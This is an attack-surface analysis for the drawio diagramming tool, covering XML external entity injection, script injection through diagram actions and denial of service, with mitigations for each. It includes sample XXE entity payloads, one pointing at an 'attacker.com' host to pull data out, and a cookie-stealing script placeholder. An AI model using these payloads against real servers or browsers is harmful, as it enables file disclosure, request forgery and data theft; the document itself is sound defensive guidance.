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attack-surface.md

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Attack Surface Analysis for jgraph/drawio

Attack Surface: XML External Entity (XXE) Injection (Server-Side)

  • Description: Exploitation of vulnerabilities in the server-side XML parsing of drawio diagram data to access local files, initiate network requests (SSRF), or cause denial of service. This is the most critical vulnerability.
  • How drawio Contributes: drawio's core data format is XML (or a compressed variant). If the server-side application parses this data without proper security measures, it becomes vulnerable to XXE.
  • Example: A malicious diagram file uploaded to the server contains an XXE payload like <!DOCTYPE doc [ <!ENTITY xxe SYSTEM "http://internal-server/sensitive-data"> ]>. The server's XML parser processes this, making a request to the internal server and potentially exposing sensitive data.
  • Impact: Local file disclosure (including configuration files, source code, etc.), server-side request forgery (SSRF) allowing access to internal systems and data, denial of service (DoS).
  • Risk Severity: Critical
  • Mitigation Strategies (Developers):
    • Use a secure XML parsing library. Examples include lxml with defusedxml in Python, a properly configured XMLReader in PHP, or similar secure parsers in other languages.
    • Explicitly disable external entity resolution and DTD processing in the server-side XML parser's configuration. This is the most crucial step.
    • Validate diagram data before parsing. Check for basic structural integrity and file size limits to prevent some DoS attacks.
    • Consider processing diagrams in a sandboxed or isolated environment to limit the impact of any successful exploitation.

Attack Surface: XML External Entity (XXE) Injection (Client-Side)

  • Description: Exploitation of vulnerabilities in the client-side (browser-based) XML parsing of drawio diagram data. While less severe than server-side XXE due to browser sandboxing, it remains a high-risk vulnerability.
  • How drawio Contributes: drawio, running within the browser, parses XML to render diagrams. If the browser's XML parser or drawio's handling of it is vulnerable, XXE can be exploited.
  • Example: A malicious diagram file contains an XXE payload like <!DOCTYPE doc [ <!ENTITY xxe SYSTEM "file:///some/local/file"> ]>. The browser's XML parser might attempt to read the local file (though success is limited by browser security). A more likely attack is client-side SSRF: <!DOCTYPE doc [ <!ENTITY xxe SYSTEM "http://attacker.com/data"> ]>.
  • Impact: Client-initiated server-side request forgery (SSRF), limited local file disclosure (depending on browser and OS), denial of service (DoS).
  • Risk Severity: High
  • Mitigation Strategies (Developers & Users):
    • Developers:
      • Ensure drawio is configured to disable external entity resolution and DTD processing. This is often a configuration option within drawio itself. Verify its effectiveness.
      • Use the latest version of drawio to benefit from any security patches in its dependencies.
      • Implement a strong Content Security Policy (CSP) to restrict the resources the browser can load, mitigating the impact of XXE.
    • Users:
      • Keep your browser up-to-date to benefit from the latest security features and patches.
      • Be cautious about opening diagrams from untrusted sources.

Attack Surface: Cross-Site Scripting (XSS) via Embedded Scripts

  • Description: Injection of malicious JavaScript code into a drawio diagram, which is then executed in the context of the application when the diagram is viewed.
  • How drawio Contributes: drawio might allow embedding JavaScript for interactive features or custom actions within diagrams. If this functionality is not properly handled, it creates an XSS vulnerability.
  • Example: A diagram contains a shape with a custom action containing malicious JavaScript: <action on="click"><![CDATA[/* malicious code here, e.g., stealing cookies */]]></action>.
  • Impact: Session hijacking, data exfiltration (stealing user data), defacement of the application, phishing attacks.
  • Risk Severity: High
  • Mitigation Strategies (Developers):
    • Disable or severely restrict script execution within diagrams using drawio's configuration options. This is the preferred approach.
    • If scripting is absolutely necessary, implement extremely strict input validation and sanitization on any data that could be interpreted as code. This is difficult to do correctly and should be avoided if possible.
    • Use a strong Content Security Policy (CSP) to prevent the execution of inline scripts and restrict the sources from which scripts can be loaded.
    • Properly encode all output to prevent any injected code from being interpreted as executable.

Attack Surface: Denial of Service (DoS) (Server-Side)

  • Description: Overloading the server with excessively large or complex drawio diagrams, causing resource exhaustion and making the application unavailable.
  • How drawio Contributes: The server-side application needs to process and potentially store drawio diagram data, which can be manipulated to consume excessive resources.
  • Example: An attacker uploads a diagram with a deeply nested XML structure (an "XML bomb") or a very large number of objects, designed to consume excessive memory or CPU during parsing.
  • Impact: Application unavailability, server resource exhaustion.
  • Risk Severity: High
  • Mitigation Strategies (Developers):
    • Implement strict limits on the size and complexity of diagrams that can be uploaded and processed. This includes limits on file size, number of elements, and nesting depth.
    • Use rate limiting to prevent attackers from submitting a large number of diagrams in a short period.
    • Monitor server resource usage (CPU, memory, disk I/O) and set up alerts for unusual activity that might indicate a DoS attack.